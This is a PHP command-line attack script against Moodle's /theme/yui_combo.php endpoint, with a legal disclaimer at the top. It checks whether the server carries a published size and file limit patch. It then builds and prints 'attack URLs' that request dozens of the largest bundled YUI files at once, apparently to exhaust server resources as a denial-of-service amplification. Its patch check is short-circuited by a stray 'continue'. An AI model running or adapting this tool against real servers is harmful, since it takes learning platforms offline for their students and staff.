<?php

$systemUrl= "https://example.com/"; //put the url to the moodle server

/* RUN THIS TOOL VIA CLI */
echo "comment the line 6"; die;

/* Legal disclaimer: Usage of this tool for attacking targets without prior mutual consent is illegal. 
It is the end user’s responsibility to obey all applicable local, state and federal laws. 
The developer assume no liability and are not responsible for any misuse or damage caused by this tool. */

$forceExactSize = false; // the response size needs to match the json size if true
$testAvailableAttackUrls = false; // test if we can request the attack url before telling it is attackable
$patchLimitSize = 700000; // Value from the published patch
$patchLimitFiles = 22;// Value from the published patch

//top 25 of 2in3 and 3.17.2
// and some low sizes from both because we can overflow the file get in some scenearios
$jsonFiles = '{"2in3":[{"path":"2in3/2.9.0/build/yui2-datatable/yui2-datatable-debug.js","size":"598643"},{"path":"2in3/2.9.0/build/yui2-datatable/yui2-datatable.js","size":"578590"},{"path":"2in3/2.9.0/build/yui2-editor/yui2-editor-debug.js","size":"413631"},{"path":"2in3/2.9.0/build/yui2-editor/yui2-editor.js","size":"403787"},{"path":"2in3/2.9.0/build/yui2-container/yui2-container-debug.js","size":"336567"},{"path":"2in3/2.9.0/build/yui2-container/yui2-container.js","size":"334787"},{"path":"2in3/2.9.0/build/yui2-simpleeditor/yui2-simpleeditor-debug.js","size":"316908"},{"path":"2in3/2.9.0/build/yui2-simpleeditor/yui2-simpleeditor.js","size":"309175"},{"path":"2in3/2.9.0/build/yui2-calendar/yui2-calendar-debug.js","size":"274170"},{"path":"2in3/2.9.0/build/yui2-calendar/yui2-calendar.js","size":"271126"},{"path":"2in3/2.9.0/build/yui2-menu/yui2-menu-debug.js","size":"260378"},{"path":"2in3/2.9.0/build/yui2-menu/yui2-menu.js","size":"256423"},{"path":"2in3/2.9.0/build/yui2-containercore/yui2-containercore-debug.js","size":"189639"},{"path":"2in3/2.9.0/build/yui2-containercore/yui2-containercore.js","size":"188842"},{"path":"2in3/2.9.0/build/yui2-datatable/yui2-datatable-min.js","size":"158152"},{"path":"2in3/2.9.0/build/yui2-carousel/yui2-carousel-debug.js","size":"150426"},{"path":"2in3/2.9.0/build/yui2-carousel/yui2-carousel.js","size":"147698"},{"path":"2in3/2.9.0/build/yui2-editor/yui2-editor-min.js","size":"144674"},{"path":"2in3/2.9.0/build/yui2-treeview/yui2-treeview-debug.js","size":"137033"},{"path":"2in3/2.9.0/build/yui2-button/yui2-button-debug.js","size":"135720"},{"path":"2in3/2.9.0/build/yui2-treeview/yui2-treeview.js","size":"132806"},{"path":"2in3/2.9.0/build/yui2-button/yui2-button.js","size":"131401"},{"path":"2in3/2.9.0/build/yui2-yuiloader/yui2-yuiloader-debug.js","size":"130825"},{"path":"2in3/2.9.0/build/yui2-yuiloader/yui2-yuiloader.js","size":"130825"},{"path":"2in3/2.9.0/build/yui2-dragdrop/yui2-dragdrop-debug.js","size":"130740"},{"path":"2in3/2.9.0/build/yui2-skin-sam-container/assets/close12_1.gif","size":"85"},{"path":"2in3/2.9.0/build/yui2-skin-sam-calendar/assets/calx.gif","size":"88"},{"path":"2in3/2.9.0/build/yui2-skin-sam-calendar/assets/callt.gif","size":"93"},{"path":"2in3/2.9.0/build/yui2-skin-sam-calendar/assets/calrt.gif","size":"94"},{"path":"2in3/2.9.0/build/assets/skins/sam/dt-arrow-dn.png","size":"116"},{"path":"2in3/2.9.0/build/assets/skins/sam/dt-arrow-up.png","size":"116"}],"3.17.2":[{"path":"3.17.2/yui/yui-debug.js","size":"364147"},{"path":"3.17.2/yui/yui.js","size":"351954"},{"path":"3.17.2/yui-nodejs/yui-nodejs-debug.js","size":"328882"},{"path":"3.17.2/yui-nodejs/yui-nodejs.js","size":"317285"},{"path":"3.17.2/yui-base/yui-base-debug.js","size":"198677"},{"path":"3.17.2/yui-base/yui-base.js","size":"189718"},{"path":"3.17.2/loader/loader-debug.js","size":"165392"},{"path":"3.17.2/loader/loader.js","size":"162158"},{"path":"3.17.2/charts-base/charts-base-debug.js","size":"158639"},{"path":"3.17.2/charts-base/charts-base.js","size":"158639"},{"path":"3.17.2/yui-core/yui-core-debug.js","size":"133406"},{"path":"3.17.2/test/test-debug.js","size":"132582"},{"path":"3.17.2/test/test.js","size":"132582"},{"path":"3.17.2/yui-core/yui-core.js","size":"125777"},{"path":"3.17.2/graphics-vml/graphics-vml-debug.js","size":"100710"},{"path":"3.17.2/graphics-vml/graphics-vml.js","size":"100710"},{"path":"3.17.2/loader-base/loader-base-debug.js","size":"99304"},{"path":"3.17.2/graphics-canvas/graphics-canvas-debug.js","size":"98532"},{"path":"3.17.2/graphics-canvas/graphics-canvas.js","size":"98532"},{"path":"3.17.2/loader-base/loader-base.js","size":"96282"},{"path":"3.17.2/graphics-svg/graphics-svg-debug.js","size":"96041"},{"path":"3.17.2/graphics-svg/graphics-svg.js","size":"96041"},{"path":"3.17.2/axis/axis-debug.js","size":"94439"},{"path":"3.17.2/axis/axis.js","size":"94439"},{"path":"3.17.2/yui/yui-min.js","size":"90247"},{"path":"3.17.2/assets/skins/sam/bg.png","size":"121"},{"path":"3.17.2/console/assets/skins/sam/bg.png","size":"121"},{"path":"3.17.2/console/assets/console-core.css","size":"145"},{"path":"3.17.2/console-filters/assets/console-filters-core.css","size":"145"},{"path":"3.17.2/overlay/assets/skins/sam/overlay-skin.css","size":"145"},{"path":"3.17.2/scrollview-base/assets/skins/night/scrollview-base-skin.cs","size":"145"}]}';
$filesM = json_decode($jsonFiles,true);
// print_r($files);
$availableTypes=array();
$testedPatch = false;
$isPatched = false;


foreach($filesM as $type=>$files){
	$testedPatch = true;$isPatched = true;
	$availableTypes[$type]=true;
	continue;
	$i=0;
	echo "Testing: $type\n";
	foreach($files as $file){
		
		if($i>3){break;}
		if(testRequest($systemUrl,$file['path'])){
		//type is enable 
			if(!$testedPatch){
			//check if has patch
				$sizeOne = testRequest($systemUrl,$file['path'],true);
				
				if($sizeOne['size'] <= 1){
					echo "is the webserver online ?\ndie";die;
				}
				if($forceExactSize){
					if($sizeOne['size'] < $file['size'] - ( ($file['size']/10) * 2) ){ 
					// if the size is less than 20 % of the stored size, maybe we have a problem; 
							continue;
					}
				}
				$sizeTwo = testRequest($systemUrl,array($file['path'],$file['path']),true);
				
				if( (round($sizeTwo['size']/$sizeOne['size'])) == 2 ){
					$testedPatch = true;$isPatched = false;
				}else{
					$testedPatch = true;$isPatched = true;
				}
			
			}
			$availableTypes[$type]=true;
			break;
		}
		$i++;
	}
}

$filesMerged=array();
if(count($availableTypes)>0){
	echo "Available Types :\n";
	foreach($availableTypes as $type => $availableType){
		echo $type."\n";
		$filesMerged = array_merge($filesMerged,$filesM[$type]);
	}
}else{
	echo "None of the tested types works\n";die;
}
unset($filesM);

if($isPatched){
	echo "*** The tested WebServer IS patched ***\n";
}else{
	
	echo "*** The tested WebServer IS NOT patched ***\n";
}

echo "Available attack Urls ::: \n\n\n";


function cmp($a, $b)
{
	return ($a['size'] > $b['size']) ? -1 : 1;
}

usort($filesMerged, "cmp");

/* Case : 25 of the biggest file */
if(!$isPatched){
	$request = array();
	$requestSize =0;
	for($i=0;$i<25;$i++){
		$request[] = $filesMerged[0]['path'] ;
		$requestSize += $filesMerged[0]['size'];
	}
	if($testAvailableAttackUrls){
		$result = testRequest($systemUrl,$request,$returnSize=true);
		if($result['httpCode'] != 404 ){
			if($result['size'] > ($filesMerged[0]['size'] / 2)){
			// echo the attack url	
				echo "25 of the biggest file [{$requestSize}]:\n";	
				echoAttackUrl($request);	
			}
		}
	}else{
		// echo the attack url
		echo "25 of the biggest file [{$requestSize}]:\n";	
		echoAttackUrl($request);	
	}
}
/* End Case : 25 of the biggest file */

/* Case : 25 biggest files */
if(!$isPatched){
	$request = array();
	$requestSize =0;
	for($i=0;$i<25;$i++){
		$request[] = $filesMerged[$i]['path'] ;
		$requestSize += $filesMerged[$i]['size'];
	}
	if($testAvailableAttackUrls){
		$result = testRequest($systemUrl,$request,$returnSize=true);
		if($result['httpCode'] != 404 ){
			if($result['size'] > ($requestSize / 2)){
			// echo the attack url
				echo "25 biggest files [{$requestSize}]:\n";			
				echoAttackUrl($request);	
			}else{
				echo "size\n";
			}
		}
	}else{
		// echo the attack url
		echo "25 biggest files [{$requestSize}]:\n";
		echoAttackUrl($request);	
	}
}
/* End Case : 25 biggest files */

/* Case : biggest files until 1024 */
if($isPatched){
	$request = array();
	$requestSize =0;
	$len=0;
	for($i=0;$i<50;$i++){
		$len +=  strlen($filesMerged[$i]['path']);
		if($len > 1024){
			$len = $len - strlen($filesMerged[$i]['path']);
			break;
		}
		$request[] = $filesMerged[$i]['path'] ;
		$requestSize += $filesMerged[$i]['size'];
		// print_r($filesMerged[$i]);
		$i++;
	}
	if($testAvailableAttackUrls){
		$result = testRequest($systemUrl,$request,$returnSize=true);
		if($result['httpCode'] != 404 ){
			if($result['size'] > ($requestSize / 2)){
			// echo the attack url
				echo "biggest files until 1024 [{$requestSize}]:\n";			
				echoAttackUrl($request);	
			}else{
				echo "size\n";
			}
		}
	}else{
		// echo the attack url
		echo "biggest files until 1024 [{$requestSize}] [{$len}] [Files : {$i}]:\n";
		echoAttackUrl($request);	
	}
	die;
}
/* End Case : biggest files until 1024 */


function testRequest($systemUrl,$files,$returnSize=false){
	
	if(is_array($files)){
		$request="?".implode("&",$files);
	}else{
		$request="?".$files;
	}
	$request = $systemUrl.'/theme/yui_combo.php'.$request;
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $request);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	if($returnSize){
		curl_setopt($ch, CURLOPT_HEADER, false); 
	}else{
		curl_setopt($ch, CURLOPT_HEADER, true);
	}
	curl_setopt($ch, CURLOPT_TIMEOUT, 60);
	curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
	curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	$headers = array();
	$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0';
	$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8';
	$headers[] = 'Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3';
	$headers[] = 'Connection: close';
	$headers[] = 'Upgrade-Insecure-Requests: 1';
	$headers[] = 'Cache-Control: max-age=0';
	curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

	$result = curl_exec($ch);
	
	
	$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	
	if (curl_errno($ch)) {
		echo 'Error:' . curl_error($ch)."\n";
	}
	curl_close($ch);
	
	if(!$returnSize){
		if($httpCode != 404){
			return true;
		}else{
			return false;
		}
	}else{
		$return['size'] = strlen($result);
		$return['httpCode'] = $httpCode;
		return $return;
	}
	
}

function echoAttackUrl($files){
	global $systemUrl;
	$request="?".implode("&",$files);
	$request = $systemUrl.'/theme/yui_combo.php'.$request;
	// $request = str_replace("//","/",$request);
	echo $request."\n\n";
}
